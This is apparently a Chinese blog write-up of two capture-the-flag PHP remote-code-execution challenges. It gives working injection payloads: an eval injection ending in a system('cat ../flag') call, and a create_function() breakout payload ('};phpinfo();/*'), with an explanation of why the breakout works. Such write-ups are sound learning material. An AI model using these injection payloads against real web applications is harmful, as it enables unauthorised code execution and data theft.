这次是真真真真被自己蠢哭了!!
RCE1
打开网页就直接报错了
看到eval函数,第一反应是利用这个达到任意执行代码
于是测试
1 | http://chall2.ctfs.me:8010/?name=phpinfo(); |
发现报错,但是是单引号错.说明语句注入了但是语法不正确,继续测试
1 | http://chall2.ctfs.me:8010/?name=phpinfo();%23 |
加了注释符,成功执行了phpinfo()
那么构造
1 | print_r(scandir('./')) |
发现打印出上一级目录的内容了,其中包含了flag文件
于是继续
1 | http://chall2.ctfs.me:8010/?name=system(%27cat%20../flag%27);%23 |
便可以拿到flag了
很好奇的是后端源码是怎么写的
当输入如下的时候
1 | http://chall2.ctfs.me:8010/?name=phpinfo() |
报错如下
这个神奇的感叹号是做些啥用的呢?????
RCE2
查看源码
1 | if (isset($_GET['code'])) { |
关键代码
1 | $new_func= create_function('', $_GET['code']); |
creat_function函数其实是lambda表达式
本地测试
1 | $new_func = create_function('', $_GET['code']); |
得到输出
所以它其实是一个简单的函数
举个例子
1 | $new_func = create_function('', "echo 'hello';"); |
等价于
1 | function new_func(){ |
也就是说后面一个参数传给前面一个参数组成一个函数体.
回到题目上
题目要求我们code值等于
1 | echo 'hello foobar' |
当我们传入echo ‘hello foobar’的时候函数体是这样的
1 | function new_func(){ |
假设我们传入的是
1 | echo ‘hello foobar’};phpinfo();/* |
函数体按照原有的规则生成,但是由于花括号和注视符的出现使得发生了非预期的变化
整理后的函数
1 | function new_func(){ |
发现括号闭合了,原有的括号甚至后面的代码都被注释掉了,导致phpinfo()得到执行.
于是剩下的就是打印目录,寻找flag.txt文件了.
creat_function()原理参考博客
https://blog.csdn.net/while0/article/details/72276440
总结
刚做web_for_pentester的命令注入和代码注入部分,所以碰上这两题还是能够解决的.
但是RCE2却卡了我一天时间…原因是之前原理搞糊涂了,误以为花括号是为了闭合if语句,现在仔细分析一下还算透彻.算是get到这个命令执行的基本方法了吧.